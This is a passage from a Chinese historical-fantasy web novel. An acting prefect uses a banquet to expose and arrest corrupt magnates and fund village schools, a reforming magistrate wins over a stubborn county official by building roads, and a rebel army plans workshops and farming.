“东家是打算冒别公子刺史的名义叫沙平县的县令听话吗?”魏管事也晓得沙平县的潘县令是个好的,他们以清平县县令的名义管辖沙平县,只怕人家不肯认。 “本来这趟行程,就是打着狐假虎威的主意,不借此云的名头行事,我还走一趟干什么。” 魏管事挠挠头,东家这话里话外都是吃软饭的料。 “走,咱们去沙平县会一会这位潘县令。” …… “别大人,宴会的名单已经定好,日子也按你说的写了,请柬是不是该送去各府上?”代理刺史宴请,地方势力总要给面子的。 “都请了哪些人家。”依别此云的意思,能够一网打尽最好,但想想先前有些小门小户为了攀高枝,将自家姑娘哥儿送去清平县打算给尚柒做小,只怕这些人家是不敢来赴宴的。 “凡事在应州有名望的人家都在单子上,曾听闻别大人先前来过应州,也赴过应州的宴会,想来对应州的势力也了解一二,这是列好的名单,别大人可先过一过目,若有添减此刻也好定下。” 有名单就好办事,琴砚接过名单,先是自己过了目,盘算了一下哪些该请哪些不该请,费了一番笔墨后再送到公子跟前过目。 “就按这份名单送请柬。” “是。” 应州城新代理刺史是个哥儿的消息在地方势力间传播的很快,不少人私下里都批判应州城的官员有辱斯文,竟干了这样胆大包天的事。 但谁也不敢站出来指责,毕竟过来当代理刺史的哥儿,出身别家,就算地方势力不想上进,也不过是不用卑躬屈膝讨好,但得罪是不敢得罪的。 如今别公子办宴,邀应州城有名望的人家赴宴,不管人愿不愿意,都得去不说,还要在场面上尽可能赔笑。 “代理刺史是个哥儿,按说该是家里的夫人夫郞去招待,可后宅之人懂什么官场之道,逼得咱们去跟一个哥儿赔笑。” “便是后宅之中有晓得官场之道的娘子郎君,也是不敢叫她们去招待的,不然别家公子还以为咱们轻慢他。” “是这个道理,不过这些事也不当什么,真要操心的反而是该送什么礼去才合适。” 照家里娘子郎君的习惯,珍宝布帛是最好的礼物,尤其是西南蜀锦最为出名,送礼也不寒颤。 怕就怕礼没送到人心坎上,一个能答应当代理刺史的哥儿,必不是寻常人。 “从前送刺史什么咱们就送什么,再不济备两份礼,总有别公子喜欢的。” “好主意,等回去我就吩咐家里夫人一声,叫她从库房里选两份好礼备着,对了,诸位宴会那日可要带家眷赴宴?” “要带的,万一别公子对我等不满意更愿意和娘子郎君相处,咱们也不至于尴尬,且别公子夫家的妹妹就在应州,到时候该是这位出面招待娘子郎君。” “殷兄想的周到,就这么办。” 宴会开始前,应州的各方势力都在私下聚了聚,大家伙商量好之后就等着赴宴的日子。 别此云办宴的宅院是尚南枝置办的,地方只大不小,为了这场宴会,尚南枝也早早开始装扮,调度人手。 尚府一年到头除开洒扫的人手外,基本没什么用人的地方,如今一口气要接待这么多人,光靠聘来洒扫的人是不成的,于是各坊内做事的娘子郎君也被临时抽调过来。 别此云和尚柒搬迁到应州的产业,完全可以供养整个应州的经济,要不是忌讳风头太甚叫地方豪强暗地里是绊子,眼下应州该姓什么,怕是早换了。 “别哥哥,明个儿的下马威打算什么时候来。” “不急,先看他们送什么好礼。” 尚南枝立刻明白别哥哥的打算,以行贿的罪名先发制人么? 宴会当日。 天还没亮,应州城就热闹起来,不少娘子郎君更是早早定了时辰起来梳妆打扮。 年岁小的孩子倒是能睡懒觉,毕竟这次宴会的主子由她们当家应付,她们跟去不过是撑场面,年岁大些的孩子带去,当涨涨见识也好,年岁小的本就是不受拘束的性子,带去了难免生事,不如留在家多休息。 因为和尚家交好的缘故,白家人来的最早,之后是管家,李房两家来的不早不晚,不过这些有名声的地方豪强一出手就是大手笔。 什么东海夜明珠、金佛像、蓝田暖玉之类的好东西层出不穷,琴砚波澜不惊的站在门口招待客人,这些东西虽然稀罕,但放在长安也不过是寻常之物,见识多了也就不吃惊了。 关二娘被派来跟着琴砚一块办差,虽然面上也没什么表情,但心里早就惊呼起来,她这一辈子连金子都没见过几回,这会功夫竟然见了一辈子都见不着的好东西,没晕过去都亏她这段时间跟二姑娘练出了胆子。 难怪世人都说当官好,虽然朝廷给的俸禄不高,但一场宴会收的礼物几辈子都花不完。 等门口不在有来客后,琴砚将礼单收了起来,这些都是待会定罪的罪证,可不能马虎了去。 前厅,一般除开上菜倒酒伺候的侍人,基本都是男子的地方,今日正厅主位上坐着一位哥儿,颇叫来赴宴的豪强们不习惯。 不过到底人是在长安长大,又出身别家这样的大世家,只看气度实在是不比儿郎差,换作他们的娘子郎君,只怕见到这么多男子,都要忍不住瑟缩。 “别大人初来应州,像是这等小地方比不上长安繁华,若是有什么缺的,还望别大人给咱们一个机会,好叫我等招待。” “诸位客气了,日后我在应州行事,少不得要诸位相助,若有什么不妥之处,我先赔礼道歉。”别此云能吃酒,但今日宴上他不打算吃,于是下面的地方豪强也都跟着别此云的习惯饮茶,没一个敢表现不满。 “别大人哪里的话,该是我等要别大人多担待。” “说来,我到应州城任职后,有一件头等要事准备办,但初到应州难免有不熟之处,想要诸位帮帮忙。” “不知别大人是有什么难处,说与我等听,只要我等能帮的上忙的,再没有推辞的道理。” 别此云等的就是这句客套话:“既然诸位这样说,我便不遮掩了,想必诸位也有所耳闻,我夫君在清平县筹办私塾,如今我来了应州城,也想效仿我夫君行事,在整个应州开办私塾,为应州的孩童蒙学,日后好替大历效力。” 一席话落,正厅鸦雀无声,地方豪强顶多以为别此云对地方制度哪里不满,想要改一改,结果人上来就是个王炸,要在整个应州开办私塾。 “怎么?诸位方才的话莫不是骗我,这等小事都办不好吗?”别此云漫不经心的说道。 第113章 “二小姐, 你是不晓得,别公子在宴上只几句话就把在场的地方豪强们吓的不敢说话,原还有不老实的想要出言讽刺别公子行事过界, 转头琴砚就把礼单和咱们收集的证据一股脑都拿出来, 当场就有几个犯了重罪的豪强家主被别公子拿人绑了。” 关二娘被尚南枝派去前厅帮别公子, 但谁料别公子自己出马就完全摆平了地方豪强, 一来就给了一个下马威,这些地方豪强只怕是要夹起尾巴做人了。 尚南枝不意外,她收集各个地方豪强的证据,为的就是等玄甲军过来直接清算,这会别哥哥阴差阳错代管应州, 提前拿出来用一用也是合该的。 “前厅的人都老实了?”尚南枝知道这些地方豪强起家手段绝不会干净, 所以阳奉阴违也是有可能的, 别这会子装的乖觉,一离开宴会就给别哥哥使绊子。 “瞧着都老实。”不老实的都被别公子当出头鸟打了, 其他人哪还敢冒头,眼下别公子说什么是什么, 连带应州城的官员也都瑟缩在一旁, 不敢说话, “别公子还问二小姐这边事情办妥了吗?” 各地筹办私塾, 钱尚柒和别此云不打算全出, 即便接管应州城,州府的财政也堪忧, 今年的秋税还早,便是收来了尚柒和别此云也不打算花销出去,因为盘州拿下后,玄甲军就可以名正言顺扩军, 需用的粮食只越来越多。 所以这钱,要么打抄家的主意,选几个罪大恶极的地方豪强,拎出来杀鸡儆猴,凭借这多年的家底,办私塾只有多的。 要么叫地方豪强主动捐赠,看在别家的面子上,地方豪强或多或少都会拿出一些,也能凑够私塾的费用,但这样多私塾,需要的教书先生也就更多。 寻常百姓里是寻不出能教人上课的先生,只能从地方豪强打主意。 先前一波不怎么有名有姓的小户人家子女已经被尚柒安排在应州各地做事,虽然这些姑娘哥儿来清平县打的是做小的主意,但真把她们送到职位上,也干的不错,可见地方豪强的教养。 私塾教书先生的人选也就有了着落,唯一要解决的问题,就是看这些有名有姓的豪强怎么愿意家中姑娘哥儿抛头露面。 尚南枝在后厅办的就是这件事。 不过刚透露风声,院里的娘子郎君们纷纷推辞,毕竟清平县的私塾她们也略有耳闻,十五岁以下的孩子都尽数收的,不管人是姑娘哥儿还是儿郎。 世家看重名誉,如何敢叫自己姑娘哥儿做这样的事传出去岂非是名声尽毁?日后哪里能嫁个好人家。 讨好别家也不是这个讨好法。 “公子贵女没捞着,但各家说愿意叫家中庶子出面帮忙。”要不说这些娘子郎君都是人精,这个办法既帮忙解决了问题,还把家里想要争家产的庶子踢了出来。 关二娘来应州这么久,对各豪强家的私事也略知一二,就说管家家主,有一房正妻,后院还有几房姨娘,名下都有子嗣,撇去姑娘哥儿,庶子数目也不少。 还有没名没分厮混的没算上,整个应州地方豪强的庶子真要全被家里人踢出来,倒也够应付私塾的事,怕就怕这些人被赶出来为别公子做事,怀恨在心,私下报复。 “报复不至于,但做事敷衍是可预见的,好在最开始只是蒙学,倒也不要求有多高的本事。”尚南枝当然不可能强迫这些娘子郎君送家里的姑娘哥儿出来。 庶子能用先用着,其他墙角再想办法挖就是。 代理刺史的宴席办了整整一日,不过府门里发生什么事,只有参加宴会的人知道,留在家里的人怕是还在想要怎么讨别此云的欢心,殊不知有些人已经进了大牢。 …… “大人,这清平县县令一直赖在咱们这儿不走也不是个办法,且他拿着代理刺史的口信办事,咱们这么拒了,他回去和代理刺史一通气,岂不是大祸临头。”县里的主簿看不过,悄悄到了潘县令身边劝一劝人。 “你也说是代理刺史,朝廷都不认,我正儿八经的官身,凭何听一介哥儿的话,指不定是这人拿着鸡毛当令箭,折腾我们。”潘标不理会下属的劝告,虽说沙平县是应州最穷的县城,但他自认为和清平县井水不犯河水,尚柒过来清平县干涉他的政务,实属过界。 “我的大人诶,你说不认,应州城的官员答应吗?难道咱们还能上书长安告应州官员胡乱行事?” 潘标沉默,他自然是告不了的,只怕弹劾的奏折还没出应州就被拦下,治他一个不敬上官的罪名。 “大人,眼下尚县令的夫郞是名正言顺的代理刺史,他便是拿着鸡毛当令箭,咱们也不得不听,这几日尚县令每日出衙门,瞧着像是漫无目的的闲逛,但我派去跟着的人,都晓得尚大人不是胡乱打听。” 尚县令一到沙平县,就说要将沙平县的官道重新修整,可把潘大人气的够呛,是他不想修吗?也要拿的出钱修,当真是富家少爷。 “你这样说他的好,我将头上的乌纱帽给他怎么样?” “那可能尚县令瞧不上。”虽然尚县令和自家大人官阶平级,但清平县再怎么看也比沙平县好。 更不说眼下人夫郞还在应州城主持大局,得罪了人,转头寻个错处把人赶下官位,也不是不可能。 潘标被下属气的不轻,奈何人说的还都是真话,只能咬牙切齿咽下这口气。 “大人,你自从为官之后,就没少因为脾气吃亏,不然也不会沦落到沙平县当县令,你若还想当官,且就听尚县令的,若你不想当官,何不一走了之,也不必平白丢了官位,还得罪人。” 主簿苦口婆心,潘标也不是真傻子,他不应尚柒的话,不过是心里憋了一口恶气,打他为官后因为不与人同流合污,性子又臭又硬,没少遭人排挤算计。 “随他去,我是管不了县里的诸事了。” 听闻大人松口,主簿是一刻不停就出门寻尚县令,好叫这尊大佛满意了尽快离开,不然指不定还要闹出什么事来。 而在沙平县游荡的尚柒却不紧不慢,这几日在县里走动,已然把沙平县走了个遍。 要不说小县城一天就能逛完呢,沙平县的百姓日子过得算是大历最次的一批,垫底肯定是岭南那边,当也不是说西南好到哪儿去。 “若是西南也能和中原一样,一马平川,百姓的日子也不知道有多好过。”魏管事叹气,他常年在礼县做事,见惯了礼县的发达,转头到别的县城,还真有些不习惯。 但魏管事也晓得,礼县在尚家没起来之前,和沙平县也是半斤八两,到底还是缺一个东家这样的人帮县里开路。 “从来是只有人适应地势,没有地势适应人的道理。”就算是到了发达的现代,炸山不成问题,也没见把西南所有山都炸了。 “东家自然说的有理,只是这位潘大人跟茅坑的石头一样,咱们呆这么久,已经拿别公子的名头出来,他也不理会,这路指不定要咱们驻军进沙平县才能开始修。” “潘标虽脾气硬,但还算有本事,能有一个刚正不阿的官员在沙平县任职,对沙平县的百姓来说不算坏事。” 真要是换个搜刮民脂民膏的过来,沙平县百姓的日子可就是雪上加霜了。 “那他也没叫沙平县百姓的日子过得更好,东家,不是贪官,也不一定好官。” “那你认为在大历潘标算不上好官?”如果真按尚柒的标准来,整个大历能活下来的人有四分之三都是好的。 魏管事想了想,叹气,实在是他在礼县的好日子过多了,才叫他以为外面也如礼县一般,真要说他幼年见识的官僚,都比潘标差的多,潘标这样的官员已经是顶顶好的了。 “东家这是动了收潘标为己用的想法?”好不容易撞见一个清廉的官员,东家想要收集人才也正常。 “不必,这样的人只要给一个公正的机会,有的是本事爬上去,等玄甲军到应州驻扎,潘标一定会抓住机会上升。” “那他等能见到玄甲军主公那日,一定面色很好看。”魏管事干巴巴的接话,东家有时候兴致来了,就会搞一些奇怪的想法。 尚柒摆手,这能怪他吗? “不说闲话,这几日打探,沙平县的青壮数目不多,真要修路,光靠沙平县的人不成。” “隔壁几个县人口比沙平县多一些,若是能包吃住,想必有很多青壮愿意过来做事。”时下能找个卖苦力的活不算太难,但一般都是零散活,像是修路这样的长期工,只要工钱给的合适,多的是人愿意。 “包吃住不是问题,不过其他县到沙平县的路也不好走,先将清平县到沙平县的官道修好,再说修沙平县官道到忠州的事。”不然物资难送过来,光靠沙平县提供大量食物,不太现实。 “那咱们也可以先从清平县遣人修路,到时候两头一接会更快一些。” “不错的想法,记上。” 第114章 小蹈村。 黄猎户在女婿家住了小半个月, 成功在玄甲军军营应聘上了教授射箭的教头后,终于能够回村里。 一走十来天,老房子破旧, 没人住也不怕什么, 只是村里人担心的很, 就怕黄猎户这么一去, 就命撒小香村了。 所以,青天白日瞧见黄猎户大张旗鼓的走在路上,小蹈村的百姓一个个都望着脖子,瞪大眼睛,谁也不敢上去搭话, 就怕大白天遇上鬼了。 “吴三家的, 你家哥儿让我给你捎带点东西, 他在小香村一时走不开,还要几日才能回来看你。”黄猎户也不是空手回来的, 嫁娶小香村的娘子郎君都刚分得了田,正是要操持的时候, 可不敢耽误种地, 便托黄猎户送了些东西回来。 被喊住的婶娘, 畏畏缩缩的接过东西, 才小声问:“你是人是鬼?” “你见哪个鬼青天白日出门的。” “诶唷, 黄老大,你真是吓死我们了, 一去十来天也没个音信,我们都当你死在小香村了,村里有几户吓得都去投奔亲戚了。” “玄甲军今个儿才开放白鹤县往外走的路,耽搁了些时候。”黄猎户回了一句。 “玄甲军?就是隔壁乱军?可是村里老人说的那样凶神恶煞, 杀人不见血?” “……”黄猎户沉默,就这些日子和玄甲军的军爷相处下来,没发现哪个凶神恶煞,甚至还有籍贯就在盘州的,只是他要说玄甲军的好,村里人多半不会信,“没有,若真的杀人不眨眼,我还能回来吗?” 听到黄猎户这么说,其他看热烈的村民点头,瞧着黄猎户还如从前一样健硕,半点没有被欺压的疲惫,说明人在小香村的日子过得还不错,至少没干苦力。 “那乱军有没有说,会不会打过来?”一听到乱军没杀人,大部分村民都松了口气。 “我是去看闺女的,哪里和玄甲军的人物搭的上话,你真要问,等过些时候忙过了地里的活计,村里嫁去的姑娘哥儿都要回来走亲戚,你问他们去。”黄猎户说着给村里人看了看手里的东西,“这都是村里姑娘哥儿托我送回来的,我还要赶着送去他们几个的家里。” 说罢,就见黄猎户大跨步的走开,留下一伙看热闹的百姓面面相觑。 “吴三家的,你家哥儿托黄猎户带了什么回来?”黄猎户走了,这儿不还留下一个半知情的婶娘。 “我家哥儿带什么给我,你管那么多,真想要问,自个儿去小香村看去。”段娘子说着也提着东西离开,虽然没有光天化日打开包袱,但她用手一接就晓得是粮食,还有些硬东西,多半是银钱,摸着不多。 自从白鹤县有乱军的消息传开了,凤来县的粮价一路高升,亏得这会不在青黄不接的时候,大家伙手里还有点余粮,能熬一熬。 只是小香村这会情况多半也不大好,她家哥儿怎么还送粮食回来。 …… “盘州现在,该知道我们的也都知道了,只是消息传出盘州还要些功夫。”长安就更不必说,能够等到年末的时候知情,都算是快的。 “东家有说什么时候再动兵吗?” “不急,我看快了,那一万兵丁怎么样了?” “吃好喝好,也叫他们和咱们的兵接触,我看有不少人愿意留下。”自然也不是白吃白喝,一万劳力,分成几队人马在白鹤县做工程,因为是俘虏的缘故,工钱是不给的,白给他们省了一笔人工费。 “这就好,东家也有意扩兵,王襄是个硬脾气,我示好了几次人也不理会,估计不看好咱们。”玄甲军虽然打了个出其不意,但在王襄眼里估计也是小打小闹。 也就是王襄倒霉了点,在西南任职,不然到了中原,这点人马早被派兵围剿了。 樊泊在撬墙角一事上帮不上什么忙,和人交往的弯弯绕绕跟战场的阴谋诡计不大一样,他再费十年功夫也赶不上蔺肃的水平。 自从白鹤县边界不在关闭,原本在县里困住的生意人们终于是能够回家了,但在白鹤县待的这些时日,好多生意人也是见识了玄甲军带来的好处。 自然了,坏处也有,就是玄甲军不再自由买卖田地了,甚至个人持有的田地也有限,在想做地主怕是不成了。 家里田多的生意人急的火冒三丈,眼瞧着玄甲军纪律严明,真要打到老家去也不过是时间问题,到时候家里田地以低价卖出去,岂非是损失一大笔。 可要说阻止玄甲军打过来,也有心无力,有成算的打算寻地方豪强出头,比起他们那点地,地方豪强手里的地才是大头,他们都舍不得了,地方豪强还能舍得自家根叫玄甲军挖了去? 除开生意人,几乎没有白鹤县的百姓打算离开,真暂时离开的几个,也是打算去寻县外的亲戚过来。 所以即便黄猎户跟个闷葫芦一样没说在小香村的见闻,在凤来县有亲戚的白鹤县人也会过去绘声绘色的讲述眼下白鹤县的好日子,不多时,白鹤县给百姓分地的消息就在整个凤来县传开。 凤来县县令已经很久没露面了,有点本事的都晓得凤来县县令已经阖家弃官离开,走的还不是白鹤县的道,而是打算翻山越岭离开西南。 也是祖籍不在西南的人才能走的毫无顾忌,根基就在西南的地方豪强,想走也都是走不了的,顶多带着一家人去山里建造的碉堡度日,只是碉堡再好遇上大军也很难说抵御。 更不说玄甲军聪明,切了他们和长安通信的交通中枢,眼下他们只能向隔壁州府求助,偏偏他们晓得隔壁州府的刺史因为平王的事被罢官押会长安,还没来新刺史,可真是屋漏偏逢连夜雨。 别此云正经从应州官员这里收到盘州出现乱军的消息,已经是白鹤县开放的半个月后了,多半还是有当初在白鹤县的生意人在背后推波助澜,不然消息过来的更慢。 “盘州的乱军不可不提防,别大人,咱们要不还是先集结府兵,以防万一。” 下面的官员人心惶惶,西南真是多事之秋,正经的皇子将军出事不说,还在这个节骨眼上冒出一支乱军。 听下来传来的消息,盘州刺史王襄带领府兵平乱不成,还被全军俘虏,盘州的府兵再不成器也比应州要好,可见乱军本事不小。 等乱军吃下盘州,焉能不打应州的主意?而应州又拿什么抵抗?眼下他们刺史都是临时拉来的壮丁。 “集结府兵没问题,但谁也不知道乱军什么时候打过来,这段时间府兵的花销谁提供。”说来说去还是粮草问题,把各个县的府兵招到应州城,粮食就要应州城负责,别此云不是出不起,但也不是冤大头。 “府内财政的确不乐观,加上别大人你要求要在应州内修建私塾,再拿不出多余的钱了。”哭穷是历来当官都要学会的本事,只是一群都蓄了胡子的中年人在一个不及弱冠的哥儿跟前哭诉,场面颇有几分荒诞。 “别和我哭穷,衙门拿不出钱,莫不是指望我出?” “别大人开玩笑了,我等知道别老大人清廉,如何能叫别大人出粮食,或许别大人可以寻应州城里的一些大户帮帮忙。” 说话的官员声音越说越小,实在是别大人前不久一场宴会才坑了应州城大户不少钱财,甚至连家中孩子都被坑走了不少,这会子出兵还要他们出粮,泥人性子都要冒火。 “我才开口要了钱,再出面只怕他们不会给我面子,不若诸位走动走动。” 面前几人面面相觑,既说不出拒绝的话,也说不出答应的话,最后默契的不再提此事,至于乱军,左右才占了一个白鹤县,等人真的拿下盘州再着急也不迟。 “私塾的进展如何了?”不提叛军,别此云自然开始过问正事,比起清平县,应州城就大多了,他没法和尚柒一样,一步一步盯着私塾落成。 不过全全交给应州城的官员去办,保管从豪强哪里撬出来的钱,一半都被中饱私囊了,所以办事的人里也掺杂了不少他的人手,私塾的进度如何他可以说完全掌握,但就是想看看这群官员打算如何搪塞进度缓慢。 “大人,私塾从选址到修建都不是短时间能完成的小事,眼下应州城内的私塾已经选好址了,就等着良辰吉日动工。” “可我怎么听说,已经半个月过去了,还没到你们说的良辰吉日?” “实在是近半个月没有动土的好时候,还请大人担待。” “那么你们说的好时候还要多久?” “明日就是黄道吉日,大人若得空,到时候还可以去现场瞧瞧。” “正巧,我明日得空,到时候几个私塾场地我都打算去看看。” “是,保证不负大人所托。” 别此云冷眼看着这伙人离开:“真是不拿鞭子就不会走路。” “公子晓得他们在拖延时间,何必动怒。”琴砚倒了茶水,安抚别此云。 “尚柒这个混蛋,把活推给我就罢了,这么久还不到应州陪我。”别此云小声嘟囔,他们已经很久没见了。 第115章 潘标急切的在县衙踱步, 自从他答应主簿放由尚柒的人操持沙平县诸事,就发现尚柒当真不寻常。 要说当初尚柒打算修路,他还当人准备征召徭役, 沙平县本就没有多少人口, 青壮更是少的可怜, 真要叫尚柒征去做徭役, 怕是阖家都要被逼死。 他原本就是打算利用民意逼迫尚柒离开,结果人转头在县衙贴了招工告示,主簿看过还回来同潘标细细说了一番。 中心思想就是尚柒真是个大善人,免费出钱修路不说,还给做工的百姓提供粮食工钱, 县里能干活的青壮都过去应聘了, 连一些力气大的妇人郎君也想去, 只看尚柒招不招她们罢了。 在潘标看来,天下什么时候有白吃的午餐了, 可要说尚柒此举能带来什么后果,潘标也想不出, 难不成他倒了一辈子霉, 真时来运转遇上个大善人不成? “大人, 你就是怀疑尚县令的举动, 但也不可私下做什么, 眼下县里好不容易有点起色,真要是给作没了, 原本用民意逼迫尚柒离开就得用在你身上了。” 潘标被怼的哑口无言,他是不懂事的人吗?就算尚柒当真备有用心,但眼下他做的事,都是实实在在的好事, 他该担忧的也是好事过后会对县里带来什么厄运。 “叫你派人去清平县打探消息打探到了吗?”沙平县距离清平县并不近,加上交通不便,潘标一贯是不打探其他县发生什么事。 “打听到了,自尚县令到清平县后,从修路修渠到建坊招工,如今的清平县已经是另外一番景象了,甚至黄谷县因为离清平县近,也得了尚县令的帮助,县里百姓的日子也都好过起来。” 若是黄谷县的邹县令听到主簿的话,肯定会跳起来反驳,那是因为黄谷县离得清平县近所有得了清平县的帮助吗?明明尚柒想要拿到黄谷县的实际操控权,甚至不惜用子女要挟他。 “西南还真是来了个好官。”潘标语气低沉,并非是对此不满,而是感慨,要是这么多年西南没出好官那是不可能的,不说远的,就说隔壁盘州的王刺史,就是个近些年西南最大的好官。 可王刺史为官也只能说在其位谋其职,真正叫百姓过上好日子的举动却不多,尚柒过来,不光散尽千金还不求回报,这样的好人是能当官的吗? “咳,大人,你别急着感慨,既然咱们已经打探出尚县令的品行,你也该去同人拉进拉进关系,沙平县再怎么说也是你的治下,如今人免费帮你良多,可不能交恶。” “……” “大人,眼下不是拉不下面子的时候。”潘大人的此前对尚大人的举动也不能说错,毕竟谁能想到尚大人真的是散财童子。 “我会去的,案头上还有前几日应州城传来的信件,叫我等应州治下的县城,选好私塾地址,之后应州城会送钱粮过来修私塾供孩童读书。” 潘标慢吞吞的放出大消息,叫主簿当场愣住:“修私塾?” “你不是打听清平县的消息了吗?尚柒和别公子在清平县修建私塾,供清平县孩童免费读书,这会别公子当了代理刺史,要求整个应州都开设私塾也是理所应当。” “大人,你怎么不早说。”主簿急的拍大腿,办私塾可是大事,清平县能够办的起,一是人家有钱,二是清平县人口也比沙平县多。 沙平县近些年出生的人口不多,因为百姓实在养不起,有的生了也都是饿死了的,能够长成的更少,也许清平县一个私塾都能容纳沙平县的孩子读书。 “在你打听到清平县消息之前,我以为是这对夫夫在消遣我。”毕竟他之前对尚柒不理不睬,难保尚柒不会吹枕边风,叫他夫郞给他使绊子。 很好,现在发现是他小人之心度君子之腹了。 主簿难得被怼的没话说,毕竟这样的好事告诉他,他也会以为是别人在消遣他。 “那我就不过问钱怎么来,既然应州城愿意出,咱们只规规矩矩办差就是,只是咱们县情况特殊,村里的孩子要想念私塾,得到县里来。” 像清平县一样几个离得近的村子折中建一所私塾沙平县办不到,因为村里孩子也少,沙平县的村子都离的不近。 “每日从县里来回,费时间不说,稚童成群结队也容易遇上危险。”大人肯定不能每日来接去送,这样遇上拐子,不是一拐一个准。 “所以咱们可以给应州城那边禀报,问问能不能在县里修建学生住宿的宿舍,要是学生能够住在私塾,想必家里人也更放心些。” 主意是个好主意,但供孩童住宿的成本就上去了,他知道从尚柒和别公子在清平县的种种作为来看,能给的起,可也不能叫人填无底洞不是。 “此事还需再议。” “大人若是把握不准,何不问问尚县令的意见,左右人就在县衙,正是询问的好时候。” “你还是想我去道歉。”潘标愤愤不平的指出主簿内含的意思。 “大人也可以不道歉。” 不道歉,不道歉他好意思问尚柒私塾的事吗?这事关乎整个县里孩童的未来,自然没有任性的道理,他这就去寻几根荆条,负荆请罪。 …… 尚柒深色莫测的看向桌子上的荆条,这年头还真有人学廉颇那套请罪的本事,他还以为负荆请罪已经进化了。 “东家,这位潘大人实在是位妙人,以后你一定要重用他。”魏管事乐呵呵的见证了全程,要他说,东家对潘标的举动并不放在心上,因为他们虽然办的事好事,但的确冒犯。 真要遇上一位不管民众死活的官员,才不管他们办好事还是坏事,只要差人人家的政务,都有可能被赶出沙平县。 “我不必重用,今日一事就能看出他是为了百姓能屈能伸之人,有这样的性格,只要能力不差,都会做到要位。”前提给机会,大历肯定是给不了潘标机会,但玄甲军可以,只是眼下还得委屈潘大人一段时日。 魏管事早知道东家看好潘大人,并不多说什么:“东家,咱们接下来要去哪个县城?” 沙平县修路的事解决,他们就没有留在沙平县的必要,因为潘标能做好下面的事,其他县城可还等着他们过去查看。 “华春县。” —————————— 长安。 别景季心绪不宁的翻看前线的消息,他笃定整个长安有本事去战区打探消息的人家都派了人,但不知怎的前线消息封的很死,几乎没有人能带回什么有用的消息。 如果不是前线全崩,派去的人都死在突厥人手里,那么能做到封锁战线消息的只有陛下一人。 陛下不想让前线的消息动摇朝廷,他能理解,但大军源源不断派出去,究竟是胜是负,也该有个交代才是。 “还没休息?”别洵松到别景季书房,见灯还亮着,就知大郎同他一样睡不着。 “朝中局势越发看不懂,咱们家身居漩涡中心,一个不甚阖家都要折进去,这样我如何能休息。” 娘子好不容易治好了病,两个孩子眼下还年幼,大的虽然懵懂记事却也不知情况危急,他已经身为人父人夫,自然要考虑家人安慰。 “你爹我还没死呢,天真要塌了,我还能顶着,实在不成,你祖父也还能顶一顶。”别洵松难得和孩子开玩笑。 “父亲,祖父要是听见这话,又得责骂你。” “书房就你我二人,你祖父要是知道,也是你这个做儿子不孝,告发我。”别洵松说着拍了拍别景季的肩膀,“不要给自己太大压力,眼下没有情报就是最好的情报,陛下不动,说明一切还在控制之中。” 至少不会出现突厥明日就打到长安的情况。 “父亲说的是,这么晚了,父亲寻我过来可是有什么要事?”别景季知道他爹一贯是无事不登三宝殿,大晚上突然来暮云堂找他,肯定不是因为睡不着觉。 “太子那边传信给祖父,要你祖父进言,叫陛下早日放他出东宫。” “……这时候倒是想起咱们了,这话听着不大好听。”别景季大抵能猜出太子传话态度不怎么样。 “太子被关进东宫这么久,咱们都没在陛下跟前求恩典,只怕已经怀恨在心。” “祖父应了?”他知道祖父有意不在和太子来往,但储君那是说不来往就不来往的。 “还没说,不过我瞧着这回你祖父是下了决心的。” “陛下那边如何交代?”他们别家可是陛下拉上太子的船,这时候他们弃船,只怕陛下不乐意。 “咱们家没有表态太子被禁足东宫的事,想必陛下也知道咱们的打算,迄今为止陛下对别家还没有反应,说明不在意咱们会不会继续跟太子。” 别景季倒吸一口凉气,陛下不在意别家是否继续跟太子,只能说明太子已经不得圣心了。 “陛下有意废太子?” “只怕有这个意思,但眼下诸事繁杂,多半会等战事结束再提,我过来就是吩咐你一声,莫要和太子的人再有往来。” “知道了,父亲。” 第116章 白鹤县。 自从白鹤县解封后, 县里就恢复了原本的生机勃勃,如最开始预料的一样,百姓是一个没跑, 逃走的都是原本富庶的人家。 玄甲军强逼着他们卖了地, 又不许他们私下再屯田, 几乎是断绝了这些人家的生路, 继续留在白鹤县,说不得什么时候惹恼了玄甲军,还要下狱。 于是有亲戚的投奔亲戚,没亲戚的就往长安方向去,总归天子脚下, 这些乱军是打不到那儿去的。 “粮食眼下没问题, 有问题还是肉食, 不说大军,就是寻常百姓也多有肉类需求, 光咱们在应州的养殖场,还负担不起两个州的肉类供应, 所以盘州也得开设各类养殖场。” 大部分百姓都只有朴素的愿望, 那就是吃饱穿暖, 粮食够吃就要想想多吃几顿肉, 白鹤县因为本就富庶, 村里家家户户养猪的多,还不到肉类紧张, 但也要未雨绸缪。 “西南的地势很适合养猪,只是比起鸡鸭,猪每日消耗的粮食就多了,不光要解决人吃的东西, 还要解决猪吃的东西。” “礼县的猪除了吃山上的猪草,还有豆腐坊里的豆渣,应州盘州我倒是有看见卖豆腐的人家,但想来都是小打小闹,建一个豆腐坊大规模供应豆腐和豆制品很有必要。” 做豆腐是个苦差,老话说人生有三苦,撑船打铁磨豆腐,一般人家做豆腐,都是自个天不亮就起来磨豆子,赚点辛苦钱,但要是有豆腐坊,肯定比自己做轻松。 不说大坊用的磨盘一次就能磨多少豆子,单单是牲畜顶替人力干最辛苦的活,就能节约出人手。 “是该建一个豆腐坊,行兵打仗的粮草最好是能久留,上回送到营地的豆制品就很受士兵喜欢,也方便携带。” 蔺肃点头,豆子历来是肥田的好物种,无论哪里的百姓都会种一茬,既是粮食又养地,只是豆子干吃容易胀气,即便如此豆子也是主粮,所以开一个豆腐坊肯定是不缺原料的。 “应州已经大规模的在修建私塾,到时候造纸印书的需求量也会扩大,盘州也一样,纸坊和印刷坊也得配套修建,不然光靠应州供给,恐怕供不应求。” 尤其是造纸,无论如何,浸泡一步都需要时间,不是说立马就能造出来的。 “盘州有铁矿盐井,只是都不在白鹤县。” “这个不必担心,清平县的铁器出产量目前能够供应需求,盐东家也不缺,等真打下这些县再考虑这件事不迟,而我还是在想棉花的事。 今年清平县的百姓肯定是愿意信东家种植棉花,但数量供应一个州都困难,眼下咱们缺煤,西南的冬天虽然不及北面冷,但也有年纪大受不住的,棉花的供应要尽早提上来。” “咱们手里还有不少没分出去的田,可以佃人来种。” “只怕是不成的,眼下分出去的田百姓都种不过来,想要佃人来种,也得有人。”白鹤县就是地多,但农户数量就那么多,哪怕是加上姑娘哥儿,因为每人限量,地还是有不少无主。 “或许可以吸引别的县百姓过来,从白鹤县农户人均田地来看,多的是人手里无田,其他县肯定也有不少这样的人,只要放出风声,想必有不少人愿意落户白鹤县。” 分地的吸引力足够让某些吃不起饭的农户铤而走险。 